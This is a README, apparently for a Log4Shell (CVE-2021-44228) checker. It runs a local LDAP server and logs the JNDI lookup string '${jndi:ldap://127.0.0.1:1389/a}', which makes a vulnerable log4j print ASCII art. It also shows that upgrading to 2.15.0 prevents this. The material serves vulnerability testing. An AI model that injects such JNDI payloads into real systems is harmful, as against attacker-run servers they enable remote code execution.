
취약점 CVE-2021-44228 점검기
이 저장소는 취약점 CVE-2021-44228을 확인하기 위한 것입니다.
이것은 외부 클래스 로딩 없이 문자열만 표시하는 PoC입니다. 임의 코드 실행에 사용할 수 없습니다.
이미지 ghcr.io/greymd/cve-2021-44228/server를 사용할 수 있으며 Docker에서 실행할 수 있습니다.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
log4j를 사용하여 로그를 출력하는 코드를 준비하고 동일한 호스트에서 실행합니다.
출력 문자열을 ${jndi:ldap://127.0.0.1:1389/a}로 만듭니다.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
인수가 취약점을 유발하는 경우, 「うんこもりもり」(대략 "똥 덩어리"라는 뜻)라는 문구가 성공적으로 기록됩니다.
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
직접 코드를 작성하고 빌드하기 귀찮다면, 이 저장소에 있는 간단한 로거 애플리케이션을 사용할 수 있습니다. 첫 번째 인수가 Logger에 의해 출력됩니다.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
취약점을 유발하는 인수를 제공하는 예시는 다음과 같습니다.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
취약점의 영향을 받지 않는 log4j 버전을 사용 중이거나 서버 애플리케이션이 실행 중이 아닌 경우, 문자열은 수정 없이 그대로 출력됩니다. 아래와 같이 로거 애플리케이션의 버전을 업데이트하여 확인할 수 있습니다.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
앞서 언급했듯이 (그리고 제가 조사한 바로는), 이 취약점은 JNDI 대상 서버가 실행 중이지 않으면 재현되지 않습니다. 따라서 간단한 PoC가 유용합니다.
구현 시 다음 URL을 참고했습니다.
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)